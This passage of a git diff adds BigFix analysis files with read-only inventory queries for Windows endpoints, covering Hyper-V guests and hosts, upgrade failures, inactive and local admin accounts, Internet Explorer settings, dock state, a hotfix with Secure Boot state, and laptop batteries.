diff --git a/Sites/Windows Management/Fixlets/Analyses/Hyper-V Guest - Windows (2998484).bes b/Sites/Windows Management/Fixlets/Analyses/Hyper-V Guest - Windows (2998484).bes
new file mode 100644
index 000000000..083b73899
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Analyses/Hyper-V Guest - Windows (2998484).bes	
@@ -0,0 +1,25 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Hyper-V Guest - Windows
+  ID       : 2998484
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-11-11T17:08:05
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Hyper-V Guest - Windows</Title>
+    <Description><![CDATA[Provides information on the Hyper-V Guest. This is information inside of the Virtual Machine like the ID, the Display Name and the Physical host the virtual machine is running on.
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>((value &quot;manufacturer&quot; of structure &quot;system_information&quot; of smbios as string) contains &quot;Microsoft&quot;)</Relevance>
+    <Relevance><![CDATA[(if ((version of client < "8.0") or (if (windows of operating system) then (platform id of operating system = 3) else false) or (if (version of client >= "8.2.1078.0") then in proxy agent context else false)) then "N/A" else (if exists true whose (if true then( (((item 0 of it contains "VMware") or ((item 0 of it contains "Microsoft") and not (item 1 of it as lowercase contains "surface")) or (item 0 of it contains "Xen")) of ((value "manufacturer" of it as string, value "product_name" of it as string) of structure "system_information" of smbios))) else false) then "Virtual" else "Physical")) = "Virtual"]]></Relevance>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="Hyper-V Guest - ID - Windows" EvaluationPeriod="P1D">value &quot;VirtualMachineId&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Virtual Machine\Guest\Parameters&quot; of native registry</Property>
+    <Property ID="2" Name="Hyper-V Guest - Display Name - Windows" EvaluationPeriod="P1D">value &quot;VirtualMachineName&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Virtual Machine\Guest\Parameters&quot; of native registry</Property>
+    <Property ID="3" Name="Hyper-V Guest - Physical Host - Windows" EvaluationPeriod="P1D">value &quot;PhysicalHostNameFullyQualified&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Virtual Machine\Guest\Parameters&quot; of native registry</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Hyper-V Host - Windows (2998252).bes b/Sites/Windows Management/Fixlets/Analyses/Hyper-V Host - Windows (2998252).bes
new file mode 100644
index 000000000..5791b1fd5
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Analyses/Hyper-V Host - Windows (2998252).bes	
@@ -0,0 +1,23 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Hyper-V Host - Windows
+  ID       : 2998252
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-07-19T17:52:00
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Hyper-V Host - Windows</Title>
+    <Description><![CDATA[Provides information on the virtual machines and switches configured&nbsp;on the Hyper-V Server
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists service &quot;vmcompute&quot;</Relevance>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="Hyper-V - Virtual Switches - Windows" EvaluationPeriod="P1D">(value &quot;FriendlyName&quot; of it as string, name of it as string) of keys of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\vmsmp\parameters\SwitchList&quot; of native registry</Property>
+    <Property ID="2" Name="Hyper-V - Virtual Machines - Windows" EvaluationPeriod="P1D">(string value of property &quot;ElementName&quot; of it, (if (it = &quot;2&quot;) then &quot;Running&quot; else (if (it = &quot;3&quot;) then &quot;Off&quot; else (if (it = &quot;6&quot;) then &quot;Saved&quot; else &quot;Other&quot;))) of (string value of property &quot;EnabledState&quot; of it) , (if (it = &quot;0&quot;) then &quot;No Replication&quot; else (if (it = &quot;1&quot;) then &quot;Healthy&quot; else (if (it = &quot;2&quot;) then &quot;Replication Warning&quot; else &quot;Replication Critical&quot;))) of (string value of property &quot;ReplicationHealth&quot; of it), integer value of property &quot;OnTimeInMilliseconds&quot; of it * millisecond ) of (select objects &quot;* from Msvm_ComputerSystem&quot; of wmi &quot;root\virtualization\v2&quot;) whose (string value of property &quot;Caption&quot; of it does not contain &quot;Hosting&quot;)</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/In-Place Upgrade Failure Information (2998651).bes b/Sites/Windows Management/Fixlets/Analyses/In-Place Upgrade Failure Information (2998651).bes
new file mode 100644
index 000000000..765d42446
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Analyses/In-Place Upgrade Failure Information (2998651).bes	
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : In-Place Upgrade Failure Information
+  ID       : 2998651
+  Author   : 6906AC99-CFAD-4BC2-8B69-999D8150433C
+  Domain   : BESC
+  Imported : 2021-10-22T08:10:24
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>In-Place Upgrade Failure Information</Title>
+    <Description><![CDATA[&lt;enter a description of the analysis here&gt; ]]></Description>
+    <Relevance>exist files &quot;setupdiagresults.xml&quot; of folder &quot;Windows\Logs\SetupDiag&quot; of drive of system folder</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Fri, 22 Oct 2021 15:07:26 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="Failure Details">preceding texts of lasts &quot;&lt;/FailureDetails&gt;&quot; of following texts of firsts &quot;&lt;FailureDetails&gt;&quot; of lines containing &quot;&lt;FailureDetails&gt;&quot; of files &quot;setupdiagresults.xml&quot; of folder &quot;Windows\Logs\SetupDiag&quot; of drive of system folder</Property>
+    <Property ID="2" Name="Failure Data">preceding texts of lasts &quot;&lt;/FailureData&gt;&quot; of following texts of firsts &quot;&lt;FailureData&gt;&quot; of lines containing &quot;&lt;FailureData&gt;&quot; of files &quot;setupdiagresults.xml&quot; of folder &quot;Windows\Logs\SetupDiag&quot; of drive of system folder</Property>
+    <Property ID="3" Name="Remediation">preceding texts of lasts &quot;&lt;/Remediation&gt;&quot; of following texts of firsts &quot;&lt;Remediation&gt;&quot; of lines containing &quot;&lt;Remediation&gt;&quot; of files &quot;setupdiagresults.xml&quot; of folder &quot;Windows\Logs\SetupDiag&quot; of drive of system folder</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Inactive Users (2994557).bes b/Sites/Windows Management/Fixlets/Analyses/Inactive Users (2994557).bes
new file mode 100644
index 000000000..97bad0b3e
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Analyses/Inactive Users (2994557).bes	
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Inactive Users
+  ID       : 2994557
+  Author   : sinucus
+  Domain   : BESC
+  Imported : 2013-08-07T12:52:16
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Inactive Users</Title>
+    <Description>Lists the user accounts that have not logged onto the system in the last 30 days.</Description>
+    <Relevance>name of operating system as lowercase starts with &quot;win&quot;</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Wed, 07 Aug 2013 19:20:29 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="Users">(name of it) of users whose ((now - (last logon of it) &gt; 30 * day) and name of it does not contain &quot;$&quot;)</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Intel vPro Audit - Windows (2995830).bes b/Sites/Windows Management/Fixlets/Analyses/Intel vPro Audit - Windows (2995830).bes
new file mode 100644
index 000000000..fe79bdada
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Analyses/Intel vPro Audit - Windows (2995830).bes	
@@ -0,0 +1,25 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Intel vPro Audit - Windows
+  ID       : 2995830
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2016-01-04T16:52:55
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Intel vPro Audit - Windows</Title>
+    <Description><![CDATA[&lt;enter a description of the analysis here&gt; ]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Mon, 04 Jan 2016 21:36:29 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="vPro State" EvaluationPeriod="PT6H">node values of xpaths &quot;/PlatformDiscovery/Solution[@name=&apos;Intel(R) AMT&apos;]/@state&quot; of xml documents of files &quot;results_Intel_Platform_Discovery.xml&quot; of folders &quot;__Global/Logs&quot; of ((data folder of client)|(folder &quot;/var/opt/BESClient/__BESData&quot;)|(folder &quot;/Library/Application Support/BigFix/BES Agent/__BESData&quot;)|(folder &quot;__BESData&quot; of parent folder of client))</Property>
+    <Property ID="2" Name="Last Check" EvaluationPeriod="PT1H">modification times of files &quot;results_Intel_Platform_Discovery.xml&quot; of folders &quot;__Global/Logs&quot; of ((data folder of client)|(folder &quot;/var/opt/BESClient/__BESData&quot;)|(folder &quot;/Library/Application Support/BigFix/BES Agent/__BESData&quot;)|(folder &quot;__BESData&quot; of parent folder of client))</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Internet Explorer - Windows (2998393).bes b/Sites/Windows Management/Fixlets/Analyses/Internet Explorer - Windows (2998393).bes
new file mode 100644
index 000000000..bda6ba65a
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Analyses/Internet Explorer - Windows (2998393).bes	
@@ -0,0 +1,21 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Internet Explorer - Windows
+  ID       : 2998393
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-09-13T16:48:50
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Internet Explorer - Windows</Title>
+    <Description><![CDATA[Provides the trusted sites being pushed to a client via Group Policy.
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="IE - Trusted Sites - Windows" EvaluationPeriod="P1D">(name of it, it) of values of keys &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMapKey&quot; of native registry</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Internet Explorer Configuration - Windows (2994779).bes b/Sites/Windows Management/Fixlets/Analyses/Internet Explorer Configuration - Windows (2994779).bes
new file mode 100644
index 000000000..47848d86c
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Analyses/Internet Explorer Configuration - Windows (2994779).bes	
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Internet Explorer Configuration - Windows
+  ID       : 2994779
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2015-05-06T07:13:08
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Internet Explorer Configuration - Windows</Title>
+    <Description><![CDATA[<P>This is a work in progress.</P>
+<P>&nbsp;</P>]]></Description>
+    <Relevance>/* Windows Only */ windows of operating system</Relevance>
+    <Relevance><![CDATA[/* Windows XP or Higher */ version of operating system >= "5.1"]]></Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Wed, 06 May 2015 14:11:57 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="versions of IE" EvaluationPeriod="PT12H">versions of regapps &quot;iexplore.exe&quot;</Property>
+    <Property ID="2" Name="AutoConfigURL" EvaluationPeriod="PT12H">unique values whose(it != &quot;&quot;) of (it as string as trimmed string) of values &quot;AutoConfigURL&quot; of keys &quot;Software\Microsoft\Windows\CurrentVersion\Internet Settings&quot; of keys whose(exists keys &quot;Software\Microsoft\Windows\CurrentVersion\Internet Settings&quot; of it) of keys &quot;HKEY_USERS&quot; of (x64 registries; x32 registries)</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Is Docked (74).bes b/Sites/Windows Management/Fixlets/Analyses/Is Docked (74).bes
new file mode 100644
index 000000000..d3c4f1134
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Analyses/Is Docked (74).bes	
@@ -0,0 +1,21 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Is Docked
+  ID       : 74
+  Author   : danielheth
+  Domain   : BESC
+  Imported : 2013-01-29T22:48:03
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Is Docked</Title>
+    <Description>Determines if a computer is docked or not</Description>
+    <Relevance>name of operating system as lowercase contains &quot;win&quot; and exists wmi</Relevance>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="Type">(if it = 1 then &quot;Other&quot; else if it = 2 then &quot;Unknown&quot; else if it = 3 then &quot;Desktop&quot; else if it = 4 then &quot;Low Profile Desktop&quot; else if it = 5 then &quot;Pizza Box&quot; else if it = 6 then &quot;Mini Tower&quot; else if it = 7 then &quot;Tower&quot; else if it = 8 then &quot;Portable&quot; else if it = 9 then &quot;Laptop&quot; else if it = 10 then &quot;Notebook&quot; else if it = 11 then &quot;Hand Held&quot; else if it = 12 then &quot;Docking Station&quot; else if it = 13 then &quot;All in One&quot; else if it = 14 then &quot;Sub Notebook&quot; else if it = 15 then &quot;Space-Saving&quot; else if it = 16 then &quot;Lunch Box&quot; else if it = 17 then &quot;Main System Chassis&quot; else if it = 18 then &quot;Expansion Chassis&quot; else if it = 19 then &quot;SubChassis&quot; else if it = 20 then &quot;Bus Expansion Chassis&quot; else if it = 21 then &quot;Peripheral Chassis&quot; else if it = 22 then &quot;Storage Chassis&quot; else if it = 23 then &quot;Rack Mount Chassis&quot; else if it = 24 then &quot;Sealed-Case PC&quot; else &quot;No Description&quot;) of (integer values of selects &quot;ChassisTypes from Win32_SystemEnclosure&quot; of wmi)</Property>
+    <Property ID="2" Name="Dock State">if exists (integer values of selects &quot;ChassisTypes from Win32_SystemEnclosure&quot; of wmi) whose (it = 12 or it = 18 or it = 20 or it = 21) then &quot;Docked&quot; else &quot;Not Docked&quot;</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/KB5022842 on Win 2022 (2998680).bes b/Sites/Windows Management/Fixlets/Analyses/KB5022842 on Win 2022 (2998680).bes
new file mode 100644
index 000000000..3c3e37d75
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Analyses/KB5022842 on Win 2022 (2998680).bes	
@@ -0,0 +1,33 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : KB5022842 on Win 2022
+  ID       : 2998680
+  Author   : Knut
+  Domain   : BESC
+  Imported : 2023-02-20T05:17:04
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>KB5022842 on Win 2022</Title>
+    <Description>Only relevant for Win2022.
+Looks up installed hotfix KB5022842 via wmis and checks registry to see check state of secure boot.
+
+Confirmed to work if both values are True.
+It will result in the VM getting tripped up next boot if running on vmware.
+Might happen to all Hypervisors, but none in our environment.
+
+Can be easily modified to look for whatever specific KB you are trying to locate.
+</Description>
+    <Relevance>( (name of it as lowercase = &quot;Win2022&quot; as lowercase ) of operating system)</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Mon, 20 Feb 2023 12:50:53 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="KB installed" EvaluationPeriod="PT5M">(exists (string values of properties &quot;HotFixID&quot; of it) whose (it = &quot;KB5022842&quot;) of select objects &quot;HotFixID from Win32_QuickFixEngineering&quot; of wmis) as string</Property>
+    <Property ID="3" Name="Secure Boot Enabled ">exists it whose(1 = it as integer) of unique values of (it as string) of values &quot;UEFISecureBootEnabled&quot; of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecureBoot\State&quot; of (x64 registries; x32 registries)</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Laptop Battery Audit - Windows (2994755).bes b/Sites/Windows Management/Fixlets/Analyses/Laptop Battery Audit - Windows (2994755).bes
new file mode 100644
index 000000000..c195ea529
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Analyses/Laptop Battery Audit - Windows (2994755).bes	
@@ -0,0 +1,51 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Laptop Battery Audit - Windows
+  ID       : 2994755
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2014-12-18T12:35:41
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Laptop Battery Audit - Windows</Title>
+    <Description><![CDATA[<P>This analysis uses a combination of <STRONG>SMBIOS</STRONG>, <STRONG>WMI</STRONG>, and <STRONG>OMCI</STRONG> ( Dell Command | Monitor ) to report on batteries connected to a system. ( in particular laptop batteries, but also&nbsp;battery backups in some cases&nbsp;)</P>
+<P>The best way to determine if a battery needs replaced is to look at the following properties:&nbsp; <FONT size=2><STRONG>"% battery life in capacity</STRONG>", "<STRONG>Battery Status</STRONG>", and "<STRONG>Battery Manufacture Date</STRONG>"</P></FONT>
+<P>In the case of Dell Systems, the best data will be returned if Dell Command | Monitor (also known as OMCI) is installed. See the fixlet available here to install Dell&nbsp;<STRONG>OMCI</STRONG>:&nbsp; <A href="http://bigfix.me/fixlet/details/3918">http://bigfix.me/fixlet/details/3918</A></P>
+<P>There is a related analysis for Apple OS X systems available here:&nbsp; <A href="http://bigfix.me/analysis/details/2994537">http://bigfix.me/analysis/details/2994537</A></P>
+<P>&nbsp;</P>
+<P><STRONG>References:</STRONG></P>
+<P><A href="http://dmtf.org/sites/default/files/standards/documents/DSP0134_2.8.0.pdf">http://dmtf.org/sites/default/files/standards/documents/DSP0134_2.8.0.pdf</A></P>
+<P><A href="http://bigfix.me/relevance/details/2999628">http://bigfix.me/relevance/details/2999628</A></P>
+<P><A href="http://www.dell.com/support/Manuals/us/en/19/Topic/dell-opnmang-clnt-instr-v9.0.0/Dell_Command_Monitor_Ref_Guide-v1/en-us/GUID-0176ACFB-3FF2-4895-9521-33C9BC948F0B">http://www.dell.com/support/Manuals/us/en/19/Topic/dell-opnmang-clnt-instr-v9.0.0/Dell_Command_Monitor_Ref_Guide-v1/en-us/GUID-0176ACFB-3FF2-4895-9521-33C9BC948F0B</A></P>
+<P><A href="http://msdn.microsoft.com/en-us/library/aa394074%28v=vs.85%29.aspx">http://msdn.microsoft.com/en-us/library/aa394074%28v=vs.85%29.aspx</A></P>
+<P><A href="http://blogs.technet.com/b/heyscriptingguy/archive/2010/07/31/using-windows-powershell-to-determine-if-a-laptop-is-on-battery-power.aspx">http://blogs.technet.com/b/heyscriptingguy/archive/2010/07/31/using-windows-powershell-to-determine-if-a-laptop-is-on-battery-power.aspx</A></P>
+<P>&nbsp;</P>
+<P>&nbsp;</P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>(exists structures whose(name of it as lowercase = &quot;portable_battery&quot;) of smbios) OR (exists selects &quot;* from Win32_Battery&quot; of wmi) OR (exists selects &quot;* from Win32_PortableBattery&quot; of wmis) OR (exists selects &quot;* from DCIM_Battery&quot; of wmis &quot;root\dcim\sysman&quot;)</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Thu, 18 Dec 2014 19:32:59 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="# of batteries" EvaluationPeriod="P2D">maxima of ((number of structures whose(name of it as lowercase = &quot;portable_battery&quot;) of smbios);(maxima of multiplicities of unique values of (preceding texts of firsts &quot;=&quot; of it) of (it as string) of selects &quot;* from Win32_Battery&quot; of wmis);(maxima of multiplicities of unique values of (preceding texts of firsts &quot;=&quot; of it) of (it as string) of selects &quot;* from DCIM_Battery&quot; of wmis &quot;root\dcim\sysman&quot;))</Property>
+    <Property ID="2" Name="Raw SMBIOS battery data" EvaluationPeriod="P2D">(name of it as trimmed string &amp; &quot;=&quot; &amp; it as string as trimmed string) of values of structures whose(name of it as lowercase = &quot;portable_battery&quot;) of smbios</Property>
+    <Property ID="4" Name="% battery life in capacity" EvaluationPeriod="P1D">if not exists (selects &quot;FullChargeCapacity from DCIM_Battery&quot; of wmis &quot;root\dcim\sysman&quot;) then ERROR &quot;UNKNOWN&quot; else ( (item 0 of it * 100 / item 1 of it) of (integer value of property &quot;FullChargeCapacity&quot; of it, integer value of property &quot;DesignCapacity&quot; of it) of select objects &quot;* from DCIM_Battery&quot; whose(exists integer values of properties &quot;FullChargeCapacity&quot; of it AND exists integer values of properties &quot;DesignCapacity&quot; of it) of wmis &quot;root\dcim\sysman&quot; )</Property>
+    <Property ID="5" Name="Battery Status" EvaluationPeriod="P1D">unique values whose(it != &quot;&quot;) of (it as trimmed string) of string values of (if not exists (selects &quot;Status from DCIM_Battery&quot; of wmis &quot;root\dcim\sysman&quot;) then it else (selects &quot;Status from DCIM_Battery&quot; of wmis &quot;root\dcim\sysman&quot;)) of (selects &quot;Status from Win32_Battery&quot; of wmis)</Property>
+    <Property ID="6" Name="Max Capacity (Wh)" EvaluationPeriod="PT12H">unique values of (it / 1000) of significance places 2 of (item 0 of it * item 1 of it) of (value &quot;design_capacity&quot; of it as string as trimmed string as integer as floating point, value &quot;design_capacity_multiplier&quot; of it as string as trimmed string as integer as floating point) of structures &quot;portable_battery&quot; of smbios</Property>
+    <Property ID="7" Name="Max Volts" EvaluationPeriod="PT12H">unique values of (it / 1000) of significance places 2 of (it as string as trimmed string as integer as floating point) of values &quot;design_voltage&quot; of structures &quot;portable_battery&quot; of smbios</Property>
+    <Property ID="8" Name="Max Amps" EvaluationPeriod="PT12H">unique values of (it / 100) of significance places 0 of (it * 100) of (item 0 of it / item 1 of it) of (values &quot;design_capacity&quot; of it as string as trimmed string as integer as floating point, values &quot;design_voltage&quot; of it as string as trimmed string as integer as floating point) of structures &quot;portable_battery&quot; of smbios</Property>
+    <Property ID="9" Name="Battery Manufacture Date" EvaluationPeriod="PT12H">unique values of (it as string as trimmed string) of values &quot;manufacture_date&quot; of structures &quot;portable_battery&quot; of smbios</Property>
+    <Property ID="11" Name="Battery Chemistry" EvaluationPeriod="PT12H">(if it != &quot;Unknown&quot; then it else ( if (exists (unique values of (it as string as trimmed string) whose(it != &quot;&quot;) of values &quot;sbds_device_chemistry&quot; of structures &quot;portable_battery&quot; of smbios)) then (unique values of (it as string as trimmed string) whose(it != &quot;&quot;) of values &quot;sbds_device_chemistry&quot; of structures &quot;portable_battery&quot; of smbios) else &quot;Unknown&quot; )) of unique values of ( if exists it then it else &quot;Unknown&quot; ) of (tuple string items ( (it as string as trimmed string as integer) of values &quot;device_chemistry&quot; of structures &quot;portable_battery&quot; of smbios ) of &quot;Unknown, Other, Unknown, Lead Acid, NiCad, NiMH, LION, Zinc Air, LiP&quot;)</Property>
+    <Property ID="12" Name="EstimatedRunTime" EvaluationPeriod="PT1H">unique values whose(it != /* This seems to be what Windows/WMI returns when it doesn&apos;t really have an answer: */ 71582788) of integer values of (if not exists (selects &quot;EstimatedRunTime from DCIM_Battery&quot; of wmis &quot;root\dcim\sysman&quot;) whose( (exists integer values of it) AND (71582788 != integer value of it) ) then it else (selects &quot;EstimatedRunTime from DCIM_Battery&quot; of wmis &quot;root\dcim\sysman&quot;)) of (selects &quot;EstimatedRunTime from Win32_Battery&quot; of wmis)</Property>
+    <Property ID="13" Name="Names of Batteries" EvaluationPeriod="PT12H">unique values of (it as trimmed string) whose(it != &quot;&quot;) of ((string values of selects &quot;Name from Win32_Battery&quot; of wmis);(string values of selects &quot;Name from DCIM_Battery&quot; of wmis &quot;root\dcim\sysman&quot;);((it as string) of values &quot;device_name&quot; of structures &quot;portable_battery&quot; of smbios))</Property>
+    <Property ID="14" Name="DeviceID from Win32_Battery" EvaluationPeriod="PT12H">unique values of (it as trimmed string) whose(it != &quot;&quot;) of string values of selects &quot;DeviceID from Win32_Battery&quot; of wmis</Property>
+    <Property ID="15" Name="Availability from Win32_Battery" EvaluationPeriod="PT1H">unique values of integer values of selects &quot;Availability from Win32_Battery&quot; of wmis</Property>
+    <Property ID="16" Name="Chemistry from Win32_Battery" EvaluationPeriod="PT12H">unique values of (tuple string items ( integer values of selects &quot;Chemistry from Win32_Battery&quot; of wmis ) of &quot;Unknown, Other, Unknown, Lead Acid, NiCad, NiMH, LION, Zinc Air, LiP, Unknown&quot;)</Property>
+    <Property ID="17" Name="Chemistry from Win32_PortableBattery" EvaluationPeriod="PT12H">unique values of (tuple string items ( integer values of selects &quot;Chemistry from Win32_PortableBattery&quot; of wmis ) of &quot;Unknown, Other, Unknown, Lead Acid, NiCad, NiMH, LION, Zinc Air, LiP, Unknown&quot;)</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Local Admin_User Audit - Windows (2994547).bes b/Sites/Windows Management/Fixlets/Analyses/Local Admin_User Audit - Windows (2994547).bes
new file mode 100644
index 000000000..68dd9a92b
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Analyses/Local Admin_User Audit - Windows (2994547).bes	
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Local Admin/User Audit - Windows
+  ID       : 2994547
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2013-07-10T10:54:45
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Local Admin/User Audit - Windows</Title>
+    <Description><![CDATA[<P>This analysis will audit the number of local admins on the system. </P>
+<P>From here: <A href="http://bigfix.me/cdb/analysis/49"><FONT color=#000080>http://bigfix.me/cdb/analysis/49</FONT></A></P>]]></Description>
+    <Relevance>(windows of operating system)</Relevance>
+    <Relevance>(exists local group &quot;Administrators&quot;)</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Wed, 10 Jul 2013 17:52:56 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="Number of Local Admins" EvaluationPeriod="P2D">(number of members whose (it as string contains computer name) of local group &quot;Administrators&quot; as string)</Property>
+    <Property ID="2" Name="Local Admins" EvaluationPeriod="P2D">(concatenation &quot;, &quot; of (members whose (it as string contains computer name) of local group &quot;Administrators&quot; as string))</Property>
+    <Property ID="3" Name="Local Users" EvaluationPeriod="P1D">(concatenation &quot;, &quot; of (members whose (it as string contains computer name) of local group &quot;Users&quot; as string))</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Local Client Administrators (78).bes b/Sites/Windows Management/Fixlets/Analyses/Local Client Administrators (78).bes
new file mode 100644
index 000000000..ee23e66fb
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Analyses/Local Client Administrators (78).bes	
@@ -0,0 +1,25 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Local Client Administrators
+  ID       : 78
+  Author   : 55FDC13E-285A-4207-97E8-32E29239932A
+  Domain   : BESC
+  Imported : 2013-02-20T10:45:07
+  Source   : bigfixm1_main @ BES-Root
+-->
